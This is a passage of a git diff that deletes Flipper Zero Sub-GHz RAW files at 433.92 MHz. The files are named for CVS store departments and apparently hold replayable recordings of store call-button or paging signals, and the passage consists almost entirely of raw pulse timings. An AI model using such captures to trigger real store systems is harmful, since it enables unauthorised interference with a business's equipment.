784 -752 1552 -1520 824 -740 1552 -740 1584 -744 1544 -748 1584 -740 1548 -744 1584 -740 1548 -744 1580 -744 1544 -744 1584 -740 1544 -748 1572 -760 1540 -744 1584 -740 1548 -744 1580 -744 1548 -740 1584 -740 1548 -736 1592 -1504 780 -748 1580 -1504 784 -1504 820 -1508 780 -1508 824 -1504 780 -744 1588 -1504 784 -744 1576 -1508 780 -1508 828 -1500 784 -744 1580 -1508 784 -740 1576 -4588 792 -744 1556 -1524 784 -748 1560 -1516 828 -744 1544 -740 1584 -740 1548 -740 1584 -744 1544 -748 1580 -744 1548 -736 1584 -744 1532 -752 1588 -772 1504 -764 1564 -760 1528 -760 1564 -760 1528 -760 1568 -760 1528 -760 1564 -764 1524 -760 1572 -1524 764 -760 1560 -1528 764 -1520 804 -1524 764 -1524 804 -1524 764 -760 1568 -1524 764 -760 1560 -1528 764 -1520 808 -1528 764 -760 1564 -1524 768 -760 1560 -4612 764 -768 1540 -1536 768 -764 1540 -1540 804 -764 1524 -764 1564 -760 1532 -760 1564 -760 1528 -760 1568 -764 1524 -760 1568 -764 1524 -760 1568 -764 1520 -760 1568 -760 1528 -760 1564 -760 1528 -764 1560 -768 1516 -776 1552 -780 1504 -788 1540 -1572 716 -828 1488 -1744 544 -15924 -RAW_Data: 748 -1556 732 -1548 784 -1544 748 -772 1556 -1532 756 -768 1556 -1524 764 -1524 808 -1524 764 -760 1568 -1516 772 -756 1560 -4604 776 -764 1540 -1536 772 -764 1540 -1536 812 -756 1532 -764 1564 -760 1528 -764 1568 -760 1528 -760 1568 -760 1524 -764 1564 -760 1532 -760 1568 -760 1528 -760 1568 -760 1528 -760 1564 -764 1528 -756 1572 -756 1532 -756 1568 -756 1532 -760 1568 -1524 764 -764 1560 -1520 768 -1520 808 -1520 764 -1524 808 -1524 764 -760 1568 -1524 764 -760 1560 -1524 768 -1520 808 -1520 768 -760 1568 -1524 768 -756 1564 -4608 772 -768 1536 -1536 772 -768 1540 -1532 812 -760 1528 -760 1568 -764 1528 -760 1568 -760 1528 -760 1568 -760 1532 -760 1568 -760 1528 -764 1568 -760 1532 -760 1568 -760 1528 -760 1568 -760 1532 -760 1568 -760 1528 -760 1568 -760 1532 -760 1572 -1520 768 -760 1560 -1524 764 -1524 804 -1524 764 -1524 808 -1524 764 -760 1568 -1524 764 -760 1564 -1524 764 -1520 812 -1524 764 -760 1568 -1524 764 -760 1564 -4604 772 -768 1536 -1536 768 -768 1540 -1536 812 -760 1528 -760 1568 -760 1528 -760 1568 -764 1528 -756 1572 -756 1532 -760 1568 -760 1528 -760 1568 -760 1528 -764 1564 -760 1532 -760 1564 -764 1524 -764 1564 -760 1532 -760 1564 -760 1532 -760 1568 -1524 768 -756 1564 -1524 764 -1524 804 -1524 764 -1524 808 -1524 768 -756 1572 -1520 768 -760 1564 -1520 764 -1524 808 -1524 768 -760 1564 -1524 764 -760 1560 -4612 768 -768 1540 -1532 772 -768 1540 -1536 808 -760 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1564 -764 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1568 -760 1532 -756 1568 -764 1528 -760 1568 -1524 764 -764 1560 -1524 764 -1524 804 -1524 764 -1524 808 -1524 764 -760 1568 -1524 768 -760 1560 -1524 764 -1524 808 -1524 764 -764 1564 -1524 768 -760 1560 -4604 772 -768 1540 -1532 776 -764 1540 -1532 812 -760 1532 -760 1564 -760 1532 -760 1568 -756 1528 -764 1564 -760 1528 -764 1564 -760 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1568 -756 1532 -760 1568 -760 1528 -760 1568 -760 1532 -760 1568 -1524 764 -764 1560 -1524 764 -1524 804 -1524 764 -1524 808 -1524 764 -760 1568 -1524 764 -760 1564 -1524 764 -1520 812 -1520 768 -760 1568 -1520 768 -760 1540 -15724 diff --git a/assets/resources/subghz/Stores/CVS/Small_Appliances.sub b/assets/resources/subghz/Stores/CVS/Small_Appliances.sub deleted file mode 100644 index 13cf9e8ad..000000000 --- a/assets/resources/subghz/Stores/CVS/Small_Appliances.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -744 1564 -1508 792 -748 1556 -1508 828 -744 1544 -740 1588 -740 1548 -740 1584 -740 1548 -740 1584 -740 1548 -744 1584 -740 1544 -740 1588 -744 1540 -740 1588 -740 1544 -740 1588 -744 1544 -740 1588 -736 1548 -740 1588 -740 1544 -740 1592 -1500 784 -740 1580 -1508 780 -1500 828 -1508 784 -740 1576 -1508 780 -1500 824 -1504 784 -1500 828 -1504 784 -740 1588 -1500 784 -740 1584 -1504 780 -744 1580 -4580 792 -748 1556 -1516 792 -748 1556 -1512 832 -740 1548 -740 1584 -740 1548 -740 1584 -740 1552 -732 1588 -744 1548 -736 1588 -740 1548 -744 1584 -736 1548 -740 1584 -744 1548 -740 1584 -744 1544 -740 1588 -744 1544 -744 1584 -740 1544 -744 1588 -1504 784 -740 1580 -1504 784 -1504 824 -1504 788 -736 1584 -1500 784 -1504 824 -1500 780 -1512 824 -1500 784 -744 1584 -1504 784 -744 1584 -1504 780 -744 1580 -4588 788 -744 1564 -1516 788 -744 1560 -1512 832 -740 1548 -744 1580 -748 1544 -740 1588 -740 1544 -748 1584 -736 1552 -740 1584 -744 1544 -740 1588 -744 1544 -744 1580 -744 1548 -744 1584 -740 1548 -740 1584 -744 1544 -740 1588 -744 1544 -740 1592 -1500 788 -744 1576 -1508 784 -1504 824 -1504 788 -736 1584 -1504 784 -1500 828 -1504 784 -1496 832 -1504 788 -740 1580 -1508 784 -744 1584 -1500 784 -744 1572 -4596 788 -744 1560 -1512 792 -748 1556 -1516 828 -740 1548 -740 1584 -744 1548 -740 1584 -740 1548 -740 1588 -740 1544 -744 1588 -740 1548 -736 1588 -740 1548 -740 1588 -740 1548 -740 1588 -744 1544 -744 1584 -740 1548 -740 1588 -740 1548 -744 1588 -1508 784 -736 1584 -1504 780 -1504 828 -1504 784 -740 1584 -1504 784 -1504 828 -1500 784 -1504 828 -1500 788 -740 1588 -1504 784 -740 1588 -1504 784 -740 1580 -4588 792 -744 1560 -1516 792 -744 1560 -1512 832 -744 1540 -744 1588 -736 1552 -744 1584 -740 1548 -744 1584 -740 1548 -740 1592 -736 1544 -748 1580 -748 1540 -744 1584 -744 1548 -736 1592 -740 1548 -740 1584 -744 1548 -740 1588 -740 1548 -736 1592 -1504 780 -748 1576 -1508 784 -1504 824 -1504 784 -740 1580 -1508 780 -1504 824 -1500 784 -1504 828 -1504 784 -740 1584 -1508 784 -740 1588 -1500 784 -744 1580 -4588 788 -748 1560 -1512 792 -744 1560 -1516 828 -744 1544 -744 1588 -736 1552 -736 1588 -744 1544 -740 1584 -744 1548 -740 1588 -736 1552 -736 1588 -740 1544 -748 1580 -744 1548 -740 1584 -740 1548 -744 1580 -744 1544 -740 1588 -740 1548 -740 1584 -1508 784 -740 1580 -1504 788 -1500 828 -1504 784 -748 1568 -1508 784 -1504 824 -1500 784 -1504 824 -1508 780 -740 1588 -1500 784 -744 1580 -1504 784 -740 1580 -4592 788 -748 1556 -1516 788 -752 1552 -1520 -RAW_Data: 828 -740 1548 -740 1588 -740 1548 -740 1584 -744 1540 -748 1584 -744 1548 -736 1584 -740 1552 -740 1584 -744 1544 -744 1584 -744 1544 -744 1584 -740 1548 -736 1592 -740 1552 -740 1580 -744 1544 -748 1588 -1500 784 -744 1580 -1500 788 -1504 828 -1500 784 -740 1584 -1504 784 -1500 820 -1508 784 -1504 824 -1508 784 -740 1584 -1504 784 -744 1580 -1508 784 -740 1580 -4592 784 -748 1560 -1512 792 -748 1556 -1516 832 -744 1544 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -740 1552 -736 1592 -740 1544 -744 1584 -744 1544 -744 1584 -740 1548 -740 1592 -736 1552 -740 1584 -744 1544 -740 1588 -744 1544 -736 1596 -1500 784 -744 1576 -1508 784 -1504 828 -1504 780 -744 1580 -1504 784 -1504 824 -1504 780 -1508 828 -1500 784 -740 1588 -1504 784 -740 1588 -1504 780 -744 1576 -4592 788 -748 1560 -1512 792 -748 1560 -1512 832 -740 1548 -740 1584 -744 1548 -740 1588 -736 1548 -740 1588 -740 1548 -740 1588 -740 1548 -736 1592 -740 1548 -740 1584 -744 1548 -740 1592 -740 1548 -736 1588 -744 1548 -740 1588 -736 1552 -740 1588 -1508 784 -740 1580 -1504 784 -1504 828 -1508 780 -740 1580 -1504 784 -1504 824 -1504 784 -1504 828 -1504 784 -740 1584 -1504 784 -744 1584 -1504 784 -740 1584 -4584 792 -744 1564 -1512 788 -748 1556 -1512 836 -740 1548 -740 1584 -740 1548 -744 1584 -744 1544 -740 1588 -740 1548 -744 1580 -744 1548 -740 1588 -736 1552 -740 1584 -744 1544 -744 1584 -740 1552 -736 1588 -744 1548 -744 1584 -744 1544 -740 1588 -1504 784 -740 1580 -1504 784 -1500 828 -1504 784 -740 1580 -1504 788 -1500 824 -1504 780 -1508 828 -1504 784 -740 1588 -1504 784 -744 1580 -1508 788 -736 1560 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Special_Ding.sub b/assets/resources/subghz/Stores/CVS/Special_Ding.sub deleted file mode 100644 index 41ca3c867..000000000 --- a/assets/resources/subghz/Stores/CVS/Special_Ding.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1556 -1516 792 -748 1556 -1516 828 -740 1544 -740 1584 -744 1540 -740 1592 -736 1544 -740 1588 -740 1548 -740 1580 -744 1548 -736 1588 -740 1548 -740 1588 -736 1552 -740 1580 -744 1548 -740 1584 -740 1544 -744 1584 -740 1552 -736 1588 -1500 788 -740 1580 -1504 780 -1500 832 -1504 784 -736 1588 -1504 784 -736 1588 -1508 780 -740 1588 -1504 780 -740 1588 -1504 780 -740 1588 -1504 780 -740 1584 -4588 788 -740 1564 -1516 792 -740 1560 -1516 828 -744 1540 -744 1584 -740 1548 -740 1588 -740 1544 -740 1588 -744 1544 -744 1584 -740 1548 -740 1584 -740 1548 -740 1580 -744 1552 -740 1580 -740 1552 -736 1588 -744 1544 -740 1584 -740 1548 -736 1596 -1504 780 -744 1580 -1500 784 -1500 828 -1508 780 -740 1588 -1504 784 -740 1580 -1508 784 -740 1584 -1504 784 -740 1584 -1504 784 -740 1584 -1504 784 -740 1580 -4588 784 -748 1560 -1512 792 -748 1556 -1512 828 -740 1548 -744 1580 -744 1548 -740 1584 -736 1552 -740 1584 -740 1548 -744 1584 -740 1548 -740 1584 -740 1548 -740 1588 -740 1544 -740 1592 -740 1544 -740 1588 -740 1544 -740 1588 -744 1544 -740 1588 -1500 784 -740 1580 -1504 788 -1500 828 -1504 780 -740 1588 -1500 784 -740 1588 -1504 780 -740 1588 -1504 784 -736 1588 -1504 784 -740 1588 -1508 780 -740 1584 -4584 788 -748 1560 -1516 788 -748 1560 -1512 828 -740 1552 -740 1588 -736 1552 -736 1588 -740 1548 -740 1584 -744 1544 -740 1580 -740 1552 -740 1584 -740 1548 -740 1584 -740 1548 -736 1588 -744 1544 -740 1584 -744 1548 -740 1580 -740 1548 -744 1584 -1508 784 -740 1576 -1504 788 -1500 824 -1508 784 -736 1588 -1504 784 -740 1584 -1504 784 -736 1588 -1500 788 -736 1584 -1504 788 -736 1584 -1500 788 -740 1576 -4588 788 -748 1556 -1516 784 -756 1552 -1512 832 -740 1548 -744 1580 -744 1548 -740 1580 -740 1552 -740 1584 -740 1548 -740 1584 -740 1548 -740 1588 -736 1548 -736 1592 -740 1548 -740 1584 -740 1548 -740 1584 -736 1552 -740 1584 -736 1552 -740 1588 -1504 784 -740 1580 -1500 784 -1504 828 -1500 788 -740 1584 -1504 784 -744 1580 -1500 792 -740 1580 -1504 784 -744 1580 -1508 784 -740 1584 -1500 788 -740 1580 -4588 788 -744 1560 -1516 784 -748 1560 -1512 832 -744 1544 -740 1588 -736 1552 -740 1584 -744 1548 -740 1588 -740 1548 -740 1584 -744 1544 -740 1584 -744 1548 -740 1584 -744 1548 -740 1584 -736 1556 -740 1580 -740 1552 -740 1584 -740 1552 -740 1588 -1504 784 -744 1584 -1500 784 -1508 824 -1504 784 -740 1588 -1500 784 -744 1588 -1500 784 -740 1588 -1500 784 -740 1588 -1504 788 -740 1584 -1504 788 -740 1576 -4588 792 -748 1556 -1516 788 -748 1564 -1512 -RAW_Data: 828 -740 1548 -740 1592 -740 1544 -740 1588 -740 1548 -744 1584 -744 1544 -736 1592 -740 1548 -740 1588 -740 1544 -744 1584 -744 1544 -744 1588 -736 1548 -744 1588 -740 1548 -740 1588 -744 1544 -740 1592 -1504 784 -740 1584 -1504 784 -1504 828 -1504 784 -744 1588 -1504 784 -740 1588 -1504 784 -740 1588 -1504 788 -740 1588 -1504 784 -744 1584 -1504 784 -740 1584 -4588 788 -748 1560 -1516 792 -744 1564 -1512 832 -740 1552 -740 1588 -740 1548 -740 1592 -736 1548 -744 1588 -744 1544 -740 1588 -744 1544 -740 1592 -740 1544 -744 1588 -744 1540 -744 1588 -744 1544 -744 1588 -736 1548 -744 1588 -740 1548 -744 1588 -1504 788 -740 1580 -1504 788 -1500 832 -1504 780 -740 1592 -1504 784 -744 1584 -1504 788 -740 1584 -1508 784 -740 1592 -1504 784 -736 1592 -1500 788 -740 1584 -4592 788 -744 1560 -1516 796 -744 1556 -1516 836 -736 1548 -740 1588 -740 1552 -740 1588 -740 1544 -744 1588 -740 1548 -740 1588 -740 1556 -740 1584 -736 1552 -744 1584 -740 1552 -740 1588 -736 1556 -736 1584 -740 1552 -740 1584 -740 1552 -740 1588 -1508 784 -736 1584 -1504 784 -1504 828 -1504 784 -740 1588 -1504 784 -740 1588 -1504 784 -740 1588 -1500 792 -740 1584 -1504 784 -744 1584 -1504 784 -740 1580 -4592 792 -740 1560 -1512 796 -744 1560 -1512 836 -744 1544 -740 1584 -740 1548 -740 1588 -748 1544 -740 1588 -736 1552 -740 1584 -740 1552 -740 1584 -744 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1552 -740 1588 -740 1548 -740 1592 -1504 784 -744 1580 -1508 780 -1504 832 -1500 788 -740 1588 -1500 788 -744 1580 -1508 788 -744 1584 -1504 784 -740 1592 -1500 788 -744 1584 -1504 788 -740 1560 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Stationery.sub b/assets/resources/subghz/Stores/CVS/Stationery.sub deleted file mode 100644 index f51a91105..000000000 --- a/assets/resources/subghz/Stores/CVS/Stationery.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1560 -1512 788 -748 1560 -1512 828 -740 1548 -740 1584 -736 1552 -740 1584 -744 1548 -736 1584 -740 1548 -744 1584 -740 1548 -740 1584 -740 1544 -740 1588 -740 1548 -740 1584 -740 1548 -740 1584 -740 1548 -740 1584 -740 1548 -744 1580 -1504 784 -1500 824 -1508 780 -1504 828 -1504 780 -740 1584 -1508 784 -740 1584 -1504 784 -740 1584 -1500 784 -1504 828 -1508 776 -744 1588 -1500 788 -744 1576 -4588 784 -752 1556 -1512 792 -748 1556 -1520 828 -740 1548 -736 1588 -736 1552 -740 1584 -744 1544 -740 1588 -740 1548 -740 1584 -740 1544 -740 1592 -740 1544 -740 1584 -744 1544 -744 1584 -744 1544 -740 1584 -740 1548 -740 1584 -740 1548 -740 1584 -1504 784 -1500 824 -1504 784 -1500 828 -1508 780 -744 1584 -1500 788 -740 1584 -1508 776 -744 1580 -1504 784 -1504 828 -1496 788 -740 1584 -1504 784 -736 1584 -4584 792 -744 1560 -1516 792 -740 1564 -1516 828 -740 1548 -740 1584 -740 1548 -740 1588 -744 1544 -744 1584 -740 1544 -744 1588 -736 1548 -740 1588 -740 1548 -736 1588 -740 1548 -744 1580 -748 1544 -744 1580 -744 1548 -744 1584 -740 1548 -740 1588 -1504 784 -1504 820 -1504 784 -1500 832 -1504 784 -740 1588 -1500 788 -740 1588 -1504 784 -740 1580 -1504 784 -1500 828 -1504 784 -740 1588 -1500 788 -736 1584 -4584 792 -748 1560 -1512 792 -748 1556 -1512 832 -744 1544 -744 1584 -744 1544 -740 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1544 -744 1588 -740 1544 -744 1584 -744 1544 -744 1584 -744 1544 -744 1584 -740 1548 -736 1592 -736 1548 -740 1588 -1500 788 -1500 824 -1504 776 -1508 824 -1500 788 -740 1588 -1504 784 -740 1584 -1508 780 -740 1584 -1504 784 -1500 832 -1504 780 -744 1584 -1504 784 -740 1576 -4584 792 -752 1556 -1512 792 -748 1560 -1516 824 -748 1544 -744 1584 -740 1552 -736 1584 -744 1548 -740 1584 -744 1544 -744 1588 -744 1544 -744 1588 -736 1548 -740 1588 -736 1552 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -744 1584 -1504 784 -1504 820 -1508 780 -1508 824 -1500 788 -744 1584 -1500 784 -740 1588 -1504 780 -744 1580 -1508 776 -1512 828 -1496 788 -740 1588 -1504 784 -740 1580 -4588 788 -752 1556 -1512 792 -748 1552 -1520 828 -744 1544 -740 1588 -740 1548 -740 1588 -736 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -744 1548 -744 1584 -740 1552 -736 1588 -740 1552 -736 1588 -740 1552 -736 1588 -1508 780 -1508 820 -1504 784 -1504 828 -1504 784 -744 1580 -1504 788 -740 1588 -1496 792 -736 1584 -1504 784 -1504 824 -1504 784 -744 1584 -1504 784 -740 1580 -4588 796 -740 1568 -1512 792 -744 1560 -1512 -RAW_Data: 828 -748 1544 -744 1584 -744 1544 -744 1584 -744 1548 -740 1588 -736 1548 -748 1580 -740 1548 -744 1580 -744 1548 -740 1588 -740 1548 -740 1588 -740 1544 -748 1580 -744 1548 -744 1580 -744 1548 -740 1584 -1504 784 -1500 828 -1500 788 -1500 828 -1504 784 -744 1580 -1504 784 -740 1588 -1504 788 -736 1584 -1500 784 -1508 824 -1504 784 -744 1584 -1504 784 -740 1584 -4588 788 -744 1564 -1512 792 -740 1568 -1512 832 -740 1544 -740 1588 -740 1544 -744 1588 -740 1548 -740 1588 -744 1544 -740 1588 -740 1548 -740 1584 -744 1544 -740 1584 -744 1544 -744 1588 -736 1548 -744 1584 -744 1544 -740 1588 -740 1548 -740 1584 -1504 784 -1500 828 -1504 780 -1508 824 -1504 784 -740 1592 -1500 784 -740 1588 -1504 780 -744 1580 -1508 780 -1504 828 -1504 788 -736 1588 -1504 784 -736 1584 -4588 792 -744 1560 -1512 792 -748 1560 -1512 832 -740 1548 -740 1588 -740 1548 -740 1584 -744 1544 -744 1584 -740 1548 -744 1584 -744 1548 -740 1584 -740 1552 -740 1584 -740 1552 -736 1592 -736 1548 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -1504 784 -1504 820 -1504 780 -1504 828 -1504 784 -740 1588 -1500 788 -740 1584 -1508 780 -740 1588 -1496 784 -1504 828 -1504 784 -740 1588 -1500 788 -740 1576 -4592 784 -752 1560 -1516 792 -744 1560 -1516 832 -736 1552 -740 1584 -736 1552 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -744 1544 -744 1584 -740 1548 -744 1588 -740 1548 -740 1588 -740 1548 -744 1588 -736 1552 -736 1588 -740 1548 -744 1580 -1508 784 -1504 820 -1508 780 -1504 832 -1500 784 -740 1584 -1508 780 -744 1584 -1504 784 -744 1580 -1504 784 -1500 832 -1500 788 -736 1588 -1504 784 -736 1564 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Stomach_Remedies.sub b/assets/resources/subghz/Stores/CVS/Stomach_Remedies.sub deleted file mode 100644 index 9c5630297..000000000 --- a/assets/resources/subghz/Stores/CVS/Stomach_Remedies.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1560 -1516 788 -748 1548 -1516 828 -740 1548 -740 1584 -740 1548 -744 1576 -744 1544 -740 1588 -736 1544 -748 1580 -744 1540 -748 1580 -744 1544 -740 1588 -740 1548 -740 1584 -744 1544 -740 1584 -744 1548 -744 1580 -744 1544 -740 1588 -1504 784 -740 1584 -1504 784 -740 1580 -1508 776 -1504 824 -1504 780 -1504 824 -1508 776 -1504 824 -1508 780 -744 1580 -1508 780 -744 1584 -1508 784 -740 1576 -4588 792 -748 1556 -1516 788 -752 1556 -1516 828 -740 1548 -744 1580 -744 1544 -744 1584 -740 1548 -744 1584 -740 1548 -744 1584 -740 1544 -748 1584 -740 1548 -740 1584 -748 1544 -740 1584 -748 1544 -740 1584 -748 1544 -740 1584 -744 1548 -740 1588 -1504 788 -736 1588 -1504 788 -736 1584 -1504 784 -1504 820 -1508 780 -1508 816 -1508 780 -1512 820 -1512 776 -744 1584 -1508 784 -740 1588 -1500 788 -740 1580 -4592 784 -756 1552 -1516 788 -752 1556 -1516 828 -748 1544 -740 1584 -748 1544 -744 1580 -748 1544 -744 1584 -744 1548 -740 1584 -744 1548 -736 1588 -744 1548 -740 1584 -744 1544 -744 1584 -744 1548 -740 1584 -744 1548 -740 1584 -748 1544 -744 1584 -1504 784 -744 1584 -1504 788 -740 1580 -1504 788 -1504 816 -1508 784 -1508 816 -1508 780 -1508 828 -1504 784 -744 1580 -1508 784 -740 1584 -1508 784 -740 1576 -4596 784 -752 1552 -1520 792 -748 1552 -1520 828 -744 1544 -744 1588 -744 1544 -740 1584 -748 1548 -740 1584 -748 1544 -740 1584 -748 1544 -740 1584 -748 1544 -744 1580 -744 1548 -744 1584 -744 1544 -744 1584 -744 1544 -744 1584 -740 1548 -744 1588 -1508 784 -740 1584 -1508 784 -744 1576 -1508 784 -1504 820 -1504 784 -1508 816 -1508 784 -1504 828 -1504 780 -744 1584 -1504 784 -744 1584 -1512 780 -740 1584 -4588 792 -748 1552 -1520 792 -748 1556 -1516 832 -740 1548 -744 1580 -744 1548 -744 1584 -744 1544 -744 1584 -744 1544 -748 1584 -740 1544 -748 1584 -736 1548 -748 1584 -740 1544 -748 1584 -740 1548 -744 1584 -740 1548 -740 1588 -744 1548 -740 1592 -1508 776 -748 1584 -1504 784 -744 1580 -1508 780 -1504 824 -1504 784 -1504 824 -1504 784 -1508 824 -1508 780 -744 1588 -1508 780 -740 1588 -1504 784 -744 1580 -4592 788 -752 1556 -1516 792 -748 1556 -1520 828 -744 1548 -740 1584 -748 1544 -740 1584 -748 1548 -740 1584 -744 1548 -740 1584 -744 1548 -740 1584 -748 1548 -740 1584 -748 1544 -740 1584 -748 1548 -740 1584 -744 1548 -744 1584 -744 1544 -744 1588 -1504 784 -744 1584 -1504 784 -744 1576 -1508 784 -1508 816 -1508 784 -1508 816 -1508 784 -1504 828 -1504 780 -748 1584 -1508 780 -740 1588 -1504 784 -740 1584 -4592 788 -748 1552 -1520 792 -744 1560 -1516 -RAW_Data: 832 -740 1544 -748 1580 -744 1544 -744 1584 -744 1544 -740 1584 -748 1544 -740 1584 -748 1544 -744 1580 -748 1548 -740 1580 -748 1544 -744 1584 -740 1548 -744 1584 -740 1548 -744 1584 -744 1544 -744 1592 -1508 780 -740 1588 -1508 780 -744 1580 -1504 784 -1504 820 -1508 780 -1504 824 -1504 780 -1504 828 -1508 784 -740 1584 -1504 788 -740 1584 -1508 784 -736 1580 -4592 792 -752 1556 -1516 788 -752 1556 -1516 828 -740 1548 -744 1584 -744 1544 -748 1580 -744 1544 -744 1588 -740 1548 -744 1584 -740 1548 -744 1584 -744 1544 -748 1580 -744 1544 -748 1584 -748 1540 -744 1584 -748 1544 -740 1584 -748 1544 -744 1588 -1508 780 -748 1584 -1504 780 -748 1576 -1504 788 -1504 820 -1504 784 -1508 816 -1508 780 -1508 824 -1508 780 -748 1580 -1508 784 -740 1584 -1508 784 -744 1576 -4592 792 -748 1552 -1520 792 -744 1560 -1516 828 -744 1544 -744 1584 -744 1544 -740 1588 -744 1544 -744 1584 -744 1548 -736 1588 -748 1544 -740 1584 -748 1544 -740 1588 -740 1544 -748 1584 -740 1548 -744 1584 -744 1544 -748 1584 -740 1544 -748 1588 -1504 784 -744 1584 -1508 784 -744 1576 -1508 780 -1504 828 -1504 780 -1504 820 -1512 780 -1504 828 -1508 784 -740 1584 -1508 780 -744 1588 -1504 780 -748 1576 -4592 792 -744 1560 -1516 792 -748 1556 -1516 832 -744 1544 -744 1584 -744 1544 -748 1580 -744 1548 -740 1588 -740 1544 -748 1584 -744 1544 -744 1584 -740 1544 -748 1584 -744 1544 -744 1584 -748 1544 -740 1584 -748 1544 -740 1584 -748 1544 -744 1588 -1504 784 -740 1588 -1504 784 -744 1580 -1504 780 -1512 816 -1508 784 -1508 816 -1508 788 -1504 824 -1508 780 -748 1584 -1508 780 -744 1584 -1508 784 -744 1556 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Telecommunications_Department.sub b/assets/resources/subghz/Stores/CVS/Telecommunications_Department.sub deleted file mode 100644 index 042499c5d..000000000 --- a/assets/resources/subghz/Stores/CVS/Telecommunications_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1556 -1516 788 -744 1560 -1512 832 -740 1548 -744 1580 -740 1548 -744 1584 -740 1548 -736 1592 -736 1552 -736 1588 -740 1548 -740 1588 -740 1548 -740 1584 -744 1544 -740 1584 -740 1548 -740 1588 -744 1544 -744 1584 -740 1548 -736 1588 -1508 776 -1508 820 -1504 784 -1504 824 -1504 780 -744 1588 -1500 784 -744 1580 -1504 784 -1500 832 -1504 784 -740 1584 -1504 784 -740 1588 -1504 780 -740 1584 -4588 788 -744 1568 -1508 792 -748 1556 -1520 828 -740 1544 -744 1584 -740 1552 -740 1584 -740 1548 -740 1584 -740 1548 -740 1588 -736 1552 -736 1584 -748 1544 -740 1592 -740 1544 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -736 1584 -1512 780 -1508 820 -1504 784 -1504 828 -1504 784 -740 1584 -1508 784 -740 1576 -1508 784 -1508 824 -1500 788 -740 1588 -1504 780 -744 1588 -1504 784 -744 1576 -4588 792 -752 1556 -1516 792 -744 1560 -1516 828 -740 1548 -744 1588 -740 1548 -744 1588 -736 1552 -736 1588 -740 1548 -744 1584 -744 1548 -740 1588 -736 1552 -740 1588 -740 1548 -744 1584 -744 1544 -744 1584 -740 1548 -740 1588 -744 1548 -736 1588 -1504 784 -1504 824 -1504 780 -1504 828 -1508 784 -740 1588 -1504 784 -740 1580 -1504 780 -1508 828 -1500 788 -740 1584 -1508 784 -740 1584 -1508 784 -740 1580 -4588 792 -748 1556 -1520 788 -748 1560 -1516 832 -740 1544 -740 1588 -740 1548 -744 1580 -748 1548 -740 1588 -740 1544 -744 1584 -744 1548 -740 1588 -744 1548 -740 1584 -740 1552 -740 1584 -744 1548 -744 1584 -744 1544 -740 1588 -740 1548 -740 1584 -1508 780 -1504 824 -1504 784 -1500 828 -1504 784 -744 1588 -1500 784 -744 1580 -1504 784 -1504 824 -1508 780 -744 1584 -1504 784 -740 1584 -1508 780 -744 1580 -4588 792 -748 1556 -1516 788 -752 1556 -1520 824 -744 1548 -744 1584 -740 1548 -740 1584 -740 1544 -748 1584 -744 1544 -744 1584 -740 1548 -740 1588 -744 1544 -744 1580 -740 1548 -744 1584 -744 1544 -744 1584 -740 1548 -744 1584 -744 1548 -740 1584 -1504 784 -1500 824 -1504 784 -1504 824 -1508 780 -740 1584 -1504 784 -748 1576 -1504 784 -1508 820 -1512 780 -744 1584 -1504 784 -740 1584 -1504 784 -744 1576 -4592 784 -752 1560 -1516 784 -752 1552 -1524 824 -744 1548 -744 1580 -748 1540 -748 1580 -748 1544 -744 1580 -748 1540 -748 1580 -748 1544 -744 1580 -748 1540 -748 1580 -748 1540 -748 1580 -748 1540 -748 1580 -748 1540 -744 1584 -752 1536 -748 1576 -1508 780 -1512 812 -1516 776 -1512 816 -1516 776 -748 1576 -1512 776 -752 1572 -1512 776 -1512 820 -1512 776 -752 1576 -1512 772 -752 1576 -1516 776 -748 1572 -4596 784 -752 1552 -1524 784 -756 1548 -1528 -RAW_Data: 820 -748 1536 -752 1580 -748 1540 -748 1580 -748 1540 -748 1580 -748 1540 -752 1576 -748 1540 -752 1576 -752 1540 -748 1580 -748 1540 -748 1576 -752 1544 -748 1576 -748 1540 -752 1576 -752 1540 -748 1576 -1516 772 -1512 816 -1512 776 -1512 820 -1512 780 -748 1580 -1508 780 -748 1572 -1512 776 -1512 820 -1512 780 -744 1580 -1512 780 -744 1580 -1512 780 -748 1576 -4592 784 -752 1552 -1520 784 -752 1556 -1520 824 -748 1540 -748 1580 -744 1544 -744 1584 -748 1540 -748 1580 -744 1540 -748 1580 -748 1544 -744 1580 -744 1544 -748 1580 -744 1544 -744 1580 -748 1540 -748 1580 -744 1544 -744 1584 -744 1544 -744 1580 -1508 776 -1512 816 -1508 776 -1512 820 -1504 784 -744 1584 -1504 780 -744 1576 -1512 780 -1504 824 -1508 780 -744 1584 -1504 780 -748 1584 -1508 780 -744 1572 -4596 784 -752 1560 